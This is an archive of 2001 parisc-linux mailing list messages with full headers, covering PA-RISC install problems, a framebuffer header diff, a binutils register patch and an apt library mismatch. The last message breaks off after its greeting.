Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 19 05:55:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id BE4AB482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Jun 2001 05:55:27 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 3F128B00C; Tue, 19 Jun 2001 12:56:37 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010619112643.A853@gorica.go.net>; from Enzo.Pavletic@guest.arnes.si on Tue, Jun 19, 2001 at 11:26:43AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11385

On Tue, Jun 19, 2001 at 11:26:43AM +0200, E . Pavletic wrote:
> Hi,
> 
> I'm trying to install the palinux-0.9-32serial.iso image from cdrom on my
> 735, but I run into troubles when the process reaches the point of the
> installation of the base system: it hangs. If I try to run the command
> "debootstrap sid /target file:/instmnt/debian" manually, I receive the
> following messages:
> 
> ..
> I: Retrieving file:/instmnt/debian/dists/unstable/main/binary-hppa/base/util-linux_2.11b-5_hppa.deb
> I: Retrieving file:/instmnt/debian/dists/unstable/main/binary-hppa/base/whiptail_0.50.17-6_hppa.deb
> I: Extracting required packages
> tar: ./usr/share/doc/libperl5.6: Cannot create symlink to 'perl-base':
> Input/output error
> tar: Error exit delayed from previous errors
> 
> Can anyone help me?
> enzo

We expect 735 to have problems with the release 0.9 ISO, because of
problems with glibc 2.2.1.  I havn't seen this particular problem
reported before though.  Not something silly like out of disk space
or disk errors, is it?  Can you create files/links in /target from
the shell, once this error happens?

Richard





From - Thu Nov 08 21:18:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: BOSCHINI@ICIL64.CILEA.IT
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re:Re:palinux-0.9-32serial.iso install problems on a 753/99
Date: Tue, 19 Jun 2001 15:13:15 +0000 (MET-01DST)
Lines: 7
Approved: news@gmane.org
Message-ID: <01K4YEN30OMI001UTF@ICIL64.CILEA.IT>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
X-Trace: ger.gmane.org 1416620228 21234 80.91.229.3 (22 Nov 2014 01:37:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:08 +0000 (UTC)
To: PARISC-LINUX@LISTS.PARISC-LINUX.ORG
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 19 07:13:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ICIL64.CILEA.IT (icil64.cilea.it [131.175.1.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id BAC6D482B
	for <PARISC-LINUX@LISTS.PARISC-LINUX.ORG>; Tue, 19 Jun 2001 07:13:47 -0600 (MDT)
Original-Received: from ICIL64.CILEA.IT by ICIL64.CILEA.IT (PMDF V5.2-31 #32154)
 id <01K4YEN30NOO001UTF@ICIL64.CILEA.IT> for
 PARISC-LINUX@LISTS.PARISC-LINUX.ORG; Tue, 19 Jun 2001 15:13:15 MET-01DST
X-VMS-To: PARISC-LINUX@LISTS.PARISC-LINUX.ORG
Xref: news.gmane.org gmane.linux.ports.parisc:11386

I had a simila problem when installing on my 735/99, but on other packages.
try running debootstrap from a shell.
bye, 
Matteo Boschini




From - Thu Nov 08 21:18:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fbcon diff
Date: Tue, 19 Jun 2001 18:15:41 +0200
Lines: 68
Approved: news@gmane.org
Message-ID: <20010619161630.E90E5482B@dsl2.external.hp.com>
References: <20010618200635.P10186@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620228 21236 80.91.229.3 (22 Nov 2014 01:37:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:08 +0000 (UTC)
To: Matthew Wilcox <matthew@wil.cx>, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 19 10:16:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id E90E5482B
	for <parisc-linux@parisc-linux.org>; Tue, 19 Jun 2001 10:16:30 -0600 (MDT)
Original-Received: (qmail 29259 invoked by uid 0); 19 Jun 2001 16:16:29 -0000
Original-Received: from pd9040d1e.dip.t-dialin.net (HELO there) (217.4.13.30)
  by mail.gmx.net (mp020-rz3) with SMTP; 19 Jun 2001 16:16:29 -0000
X-Mailer: KMail [version 1.2.2]
In-Reply-To: <20010618200635.P10186@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11387

Hi Matthew,

I absolutely agree with you.

The part behind "#elif defined(__hppa__) && !(USE_HPPA_IOREMAP)" should and 
will go away anyway, but the change from direct memory addressing to 
readX()/writeX() modifies generic linux code, could break other arches and 
should IMHO be discussed with Geert, Alan Cox or Linus directly and not be 
changed reclusively in our tree.

Greetings,
Helge


On Monday, 18. June 2001 21:06, Matthew Wilcox wrote:

> IMO, fbcon.h should look more like this:
>
> Index: include/video/fbcon.h
> ===================================================================
> RCS file: /home/cvs/parisc/linux/include/video/fbcon.h,v
> retrieving revision 1.7
> diff -u -p -r1.7 fbcon.h
> --- fbcon.h	2001/06/17 22:27:04	1.7
> +++ fbcon.h	2001/06/18 19:05:09
> @@ -205,19 +205,6 @@ extern int set_all_vcs(int fbidx, struct
>  #define fb_writel sbus_writel
>  #define fb_memset sbus_memset_io
>
> -#elif defined(__hppa__) && !(USE_HPPA_IOREMAP)
> -
> -/* When we switch to ioremap() usage the following defines will
> - * be removed and we'll use the arch-independend generic
> - * functions below instead. */
> -#define fb_readb gsc_readb
> -#define fb_readw gsc_readw
> -#define fb_readl gsc_readl
> -#define fb_writeb gsc_writeb
> -#define fb_writew gsc_writew
> -#define fb_writel gsc_writel
> -#define fb_memset gsc_memset_io
> -
>  #elif defined(__i386__) || defined(__alpha__)
>
>  #define fb_readb __raw_readb
> @@ -230,13 +217,13 @@ extern int set_all_vcs(int fbidx, struct
>
>  #else
>
> -#define fb_readb(addr) (*(volatile u8 *) (addr))
> -#define fb_readw(addr) (*(volatile u16 *) (addr))
> -#define fb_readl(addr) (*(volatile u32 *) (addr))
> -#define fb_writeb(b,addr) (*(volatile u8 *) (addr) = (b))
> -#define fb_writew(b,addr) (*(volatile u16 *) (addr) = (b))
> -#define fb_writel(b,addr) (*(volatile u32 *) (addr) = (b))
> -#define fb_memset memset
> +#define fb_readb(addr) readb(addr)
> +#define fb_readw(addr) readw(addr)
> +#define fb_readl(addr) readl(addr)
> +#define fb_writeb(b,addr) writeb(b,addr)
> +#define fb_writew(b,addr) writew(b,addr)
> +#define fb_writel(b,addr) writel(b,addr)
> +#define fb_memset(addr, c, len) memset_io((unsigned long)addr, c, len)
>
>  #endif




From - Thu Nov 08 21:18:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fbcon diff
Date: Tue, 19 Jun 2001 18:02:09 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20010619180209.T10186@parcelfarce.linux.theplanet.co.uk>
References: <20010618200635.P10186@parcelfarce.linux.theplanet.co.uk> <20010619161630.E90E5482B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620229 21239 80.91.229.3 (22 Nov 2014 01:37:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:09 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 19 11:02:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 31F5B482B
	for <parisc-linux@parisc-linux.org>; Tue, 19 Jun 2001 11:02:10 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15COtF-0006vw-00; Tue, 19 Jun 2001 18:02:09 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010619161630.E90E5482B@dsl2.external.hp.com>; from deller@gmx.de on Tue, Jun 19, 2001 at 06:15:41PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11388

On Tue, Jun 19, 2001 at 06:15:41PM +0200, Helge Deller wrote:
> I absolutely agree with you.

As Larry McVoy says, that's a great way to start an email :-)

> The part behind "#elif defined(__hppa__) && !(USE_HPPA_IOREMAP)" should and 
> will go away anyway, but the change from direct memory addressing to 
> readX()/writeX() modifies generic linux code, could break other arches and 
> should IMHO be discussed with Geert, Alan Cox or Linus directly and not be 
> changed reclusively in our tree.

Certainly our tree should not be the only one making this change.

BTW, I figured out what the problem is with your ioremap
change.  You haven't modified read[bwlq], write[bwlq]
to do non-absolute addressing.  My original three ideas
all called for making this change to {read,write}[bwl]
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-March/011914.html

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: asayrafi@uwo.ca
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] problem with the CD image
Date: Tue, 19 Jun 2001 13:47:21 -0400
Lines: 5
Approved: news@gmane.org
Message-ID: <200106191747.f5JHlLh10526@roller.scate.csd.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620229 21246 80.91.229.3 (22 Nov 2014 01:37:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:09 +0000 (UTC)
Cc: yhan@uwo.ca
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 19 12:47:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from roller.scate.csd.uwo.ca (roller.scate.csd.uwo.ca [129.100.12.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id C7166482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Jun 2001 12:47:25 -0600 (MDT)
Original-Received: (from root@localhost)
	by roller.scate.csd.uwo.ca (8.11.2/8.11.2) id f5JHlLh10526;
	Tue, 19 Jun 2001 13:47:21 -0400
X-URL: http://www.parisc-linux.org/contact/index.html
X-Mailer: Lynx, Version 2.8.4dev.16
Xref: news.gmane.org gmane.linux.ports.parisc:11389

I am having so much difficulty burning the CD and getting it to boot, it gives me ENTRY_INIT status = -4 and then a table of hex numbers and goes back to search, I am suspecting it is either the CD or the burner that I am using, I have tried so many diffrent CDs (i.e Memorex 800 mb, Sony 650 mb) and my burner is hp, but I get the same error. Is there anything I can do to solve this ?  





From - Thu Nov 08 21:18:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pete" <plaven@ozemail.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting up C110
Date: Tue, 19 Jun 2001 17:54:09 +1000
Lines: 19
Approved: news@gmane.org
Message-ID: <3B2F91C1.27716.509E151@localhost>
References: <3B2E5CE5.88.5339D5@localhost>; from plaven@ozemail.com.au on Mon, Jun 18, 2001 at 07:56:21PM +1000
Reply-To: plaven@ozemail.com.au
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416620229 21251 80.91.229.3 (22 Nov 2014 01:37:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 19 14:11:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta04.mail.mel.aone.net.au (mta04.mail.au.uu.net [203.2.192.84])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0777482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Jun 2001 14:11:52 -0600 (MDT)
Original-Received: from piglet.sspl.net.au ([210.84.112.24])
          by mta04.mail.mel.aone.net.au with ESMTP
          id <20010619201149.XSUI13098.mta04.mail.mel.aone.net.au@piglet.sspl.net.au>
          for <parisc-linux@lists.parisc-linux.org>;
          Wed, 20 Jun 2001 06:11:49 +1000
Original-Received: from winnie (barbar@winnie. [192.168.10.9])
	by piglet.sspl.net.au (8.9.3/8.9.3) with ESMTP id RAA26656
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Jun 2001 17:53:48 +1000
Priority: normal
In-reply-to: <20010618094957.A27119@zouave.sonic.net>
X-mailer: Pegasus Mail for Win32 (v3.12c)
Xref: news.gmane.org gmane.linux.ports.parisc:11390

> } please let me know too.. might work on my 715.

> Have you guys tried removing the battery to reset it?

That thought crossed my mind.. it will default back to what though?



Pete
=====
testing? What's that? If it compiles, it is good, 
if it boots up it is perfect.

--- Linus Torvalds
http://www.ao.com/~regan/quotes/Linux.html
==============




From - Thu Nov 08 21:18:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@paer.debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (no subject)
Date: Tue, 19 Jun 2001 14:20:15 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <E15CRyx-0001ng-00@paer.debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620230 21253 80.91.229.3 (22 Nov 2014 01:37:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:10 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 19 14:20:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from paer.debian.org (paer.external.hp.com [192.25.206.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 78F5B482A
	for <parisc-linux@parisc-linux.org>; Tue, 19 Jun 2001 14:20:19 -0600 (MDT)
Original-Received: from willy by paer.debian.org with local (Exim 3.22 1 (Debian))
	id 15CRyx-0001ng-00; Tue, 19 Jun 2001 14:20:15 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11391

I've been trying to port guile today which includes qthreads.
The qthreads hppa support contains the following code:

            bl          $$dyncall,%mrp  ; call $$dyncall (millicode function)
            copy        %mrp,%rp        ; remember the return-pointer

our assembler doesn't recognise %mrp atm, but i guess HPUX's does.  How
does the following patch look?

--- binutils-2.11.90.0.7/gas/config/tc-hppa.c.orig	Wed Mar 28 10:58:26 2001
+++ binutils-2.11.90.0.7/gas/config/tc-hppa.c	Tue Jun 19 14:09:08 2001
@@ -954,6 +954,11 @@
   {"%isr",   20},
   {"%itmr",  16},
   {"%iva",   14},
+#if TARGET_ARCH_SIZE == 64
+  {"%mrp",    2},
+#else
+  {"%mrp",   31},
+#endif
   {"%pcoq",  18},
   {"%pcsq",  17},
   {"%pidr1",  8},




From - Thu Nov 08 21:18:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problem with the CD image
Date: Tue, 19 Jun 2001 22:01:32 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20010619220132.L9877@linuxcare.com>
References: <200106191747.f5JHlLh10526@roller.scate.csd.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620230 21255 80.91.229.3 (22 Nov 2014 01:37:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, yhan@uwo.ca
To: asayrafi@uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 19 15:00:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8A2CA482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Jun 2001 15:00:26 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 85D82B00C; Tue, 19 Jun 2001 22:01:32 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <200106191747.f5JHlLh10526@roller.scate.csd.uwo.ca>; from asayrafi@uwo.ca on Tue, Jun 19, 2001 at 01:47:21PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:11392

On Tue, Jun 19, 2001 at 01:47:21PM -0400, asayrafi@uwo.ca wrote:
> I am having so much difficulty burning the CD and getting it to boot, it gives me ENTRY_INIT status = -4 and then a table of hex numbers and goes back to search, I am suspecting it is either the CD or the burner that I am using, I have tried so many diffrent CDs (i.e Memorex 800 mb, Sony 650 mb) and my burner is hp, but I get the same error. Is there anything I can do to solve this ?  


Have you checked the md5sum of the downloaded image?

What machine are you trying to boot on?

Can you read the CD you have burnt ok on some other system?

Do you have any HP CDs that boot on the machine, to prove the CD drive
is ok?


Richard




From - Thu Nov 08 21:18:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 0.9 and nfsroot-install
Date: Thu, 21 Jun 2001 11:36:52 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <20010621113652.K11438@linuxcare.com>
References: <20010621024342.I20320@coredump.rrz.uni-koeln.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620230 21257 80.91.229.3 (22 Nov 2014 01:37:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Gregor Anders <anders@rrz.uni-koeln.de>,
	debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 21 04:35:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8CDA6482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Jun 2001 04:35:58 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id EB75EB00C; Thu, 21 Jun 2001 11:36:52 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010621024342.I20320@coredump.rrz.uni-koeln.de>; from anders@rrz.uni-koeln.de on Thu, Jun 21, 2001 at 02:43:42AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11393

On Thu, Jun 21, 2001 at 02:43:42AM +0200, Gregor Anders wrote:
> Hi everyone,
> 
> now i grabbed 0.9 pa-rias linux and tried to install it on an 712/60 with
> nfsroot. Both, serial and sti fail.... they do not give the option to mount
> root via nfs. When i try to mount it manually, i can see the the request is
> authentificated on my nfsroot-server, but my hp712 crashes and i cannot do
> anything. Does anyone have any idea ? Does anyone have an 0.9 base.tgz with a
> recent lifimage ???

Debian woody release doesn't have base.tgz any more.  Instead dbootstrap,
the installer, invokes debootstrap, which "downloads" the required .debs
from somewhere and uses those debs to build the target system.  "download"
might mean from a cdrom, http, or an nfs mounted file system, for example.

I have done installs where I booted the lifimage over the network, and
then used nfs to access the .debs, while installing to a local disk.

I havn't tried to install on to an nfs mounted root file system; I doubt
that anyone has.  The reason it doesn't offer you the choice is probably
because I didn't define NFSROOT in the boot-floppies build, sorry :(
That might also explain your crash.  I've turned it on for the next release.

The lack of a base.tgz in debian woody has been noted on debian-boot
mail list as a problem, especially for the embedded world, where they
have used it in the past as an easy way to create an nfsroot.  No real
solution has emerged yet though.  If you have a functional parisc
system, then you can run debootstrap manually to create something
similar to base.tgz.

Another option being discussed atm is to add a feature where you can
download a tarball of the required base debs, and then get the debootstrap
to "download" from the tarball - helps some people, but not relevant to
your problem.

Richard





From - Thu Nov 08 21:18:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <tom@Alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Something broke dselect/apt...
Date: Thu, 21 Jun 2001 06:37:44 -0800 (AKDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0106210628050.23440-100000@devnull.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620231 21258 80.91.229.3 (22 Nov 2014 01:37:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:11 +0000 (UTC)
To: PA-RISC Linux list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 21 08:37:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta-2.gci.net (mta-2.gci.net [208.138.130.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0DB2A482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Jun 2001 08:37:50 -0600 (MDT)
Original-Received: from mmp-1.gci.net ([208.138.130.80]) by mta-2.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GFABAY00.R62 for
          <parisc-linux@lists.parisc-linux.org>; Thu, 21 Jun 2001 06:37:46 -0800 
Original-Received: from devnull.alaskatech.org ([24.237.5.207]) by
          mmp-1.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GFABAY00.V04 for <parisc-linux@lists.parisc-linux.org>; Thu, 21
          Jun 2001 06:37:46 -0800 
Xref: news.gmane.org gmane.linux.ports.parisc:11394

Unfortunately I wasn't watching the update - it's been a little too stable
lately, I guess...

I ran apt-get update/upgrade on Monday - all working. Just ran it again
this morning, had ~9 packages updated. All updated fine - no errors on the
update - but then apt-* fails to work with "error while loading shared
libraries - /usr/lib/libapt-pkg-libc6.2-3.so.3.2: undefined symbol:
_cp_push_exception". Trying to run dselect gives "error while loading
shared libraries: dselect: undefined symbol: __rethrow".

Has anyone noticed this yet and/or noticed something I may have goofed up?
I believe there was a palo update in there, plus one of the libc6-*
packages, but other than that I've no idea...

Thanks!





From - Thu Nov 08 21:18:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Something broke dselect/apt...
Date: Thu, 21 Jun 2001 16:26:24 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20010621162624.M11438@linuxcare.com>
References: <Pine.LNX.4.33.0106210628050.23440-100000@devnull.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620231 21261 80.91.229.3 (22 Nov 2014 01:37:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:11 +0000 (UTC)
Cc: PA-RISC Linux list <parisc-linux@lists.parisc-linux.org>
To: Tom <tom@Alaskatech.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 21 09:25:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2F671482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Jun 2001 09:25:32 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 488AEB00C; Thu, 21 Jun 2001 16:26:24 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.33.0106210628050.23440-100000@devnull.alaskatech.org>; from tom@Alaskatech.org on Thu, Jun 21, 2001 at 06:37:44AM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:11395

On Thu, Jun 21, 2001 at 06:37:44AM -0800, Tom wrote:
> Unfortunately I wasn't watching the update - it's been a little too stable
> lately, I guess...
> 
> I ran apt-get update/upgrade on Monday - all working. Just ran it again
> this morning, had ~9 packages updated. All updated fine - no errors on the
> update - but then apt-* fails to work with "error while loading shared
> libraries - /usr/lib/libapt-pkg-libc6.2-3.so.3.2: undefined symbol:
> _cp_push_exception". Trying to run dselect gives "error while loading
> shared libraries: dselect: undefined symbol: __rethrow".
> 
> Has anyone noticed this yet and/or noticed something I may have goofed up?
> I believe there was a palo update in there, plus one of the libc6-*
> packages, but other than that I've no idea...

This is because you have picked up a new libstdc++3, but not a new apt.
We tried to update both together, but in the event, apt got delayed by
a day.  You need to grab the new apt.deb and install with dpkg -i.
It should appear in <ftp://ftp.debian.org:/debian/pool/main/a/apt/>
in a few hours.

Richard





From - Thu Nov 08 21:18:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?R=FCdiger?= Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel crashing with STI-Console
Date: Thu, 21 Jun 2001 19:44:03 +0200
Lines: 190
Approved: news@gmane.org
Message-ID: <3B323263.11467E62@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------86E534352468461910BA93C4"
X-Trace: ger.gmane.org 1416620231 21263 80.91.229.3 (22 Nov 2014 01:37:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:11 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 21 11:47:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.vi-internet.de (proxy1.vi-internet.de [195.182.114.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 041C3482A
	for <parisc-linux@parisc-linux.org>; Thu, 21 Jun 2001 11:47:13 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de ([62.180.202.64]) by mail.vi-internet.de  with Microsoft SMTPSVC(5.5.1877.537.53);
	 Thu, 21 Jun 2001 19:44:48 +0200
Original-Sender: ruediger@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.4.5-4mdkuser i586)
X-Accept-Language: de, de-DE, en
Xref: news.gmane.org gmane.linux.ports.parisc:11396

Dies ist eine mehrteilige Nachricht im MIME-Format.
--------------86E534352468461910BA93C4
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi there!

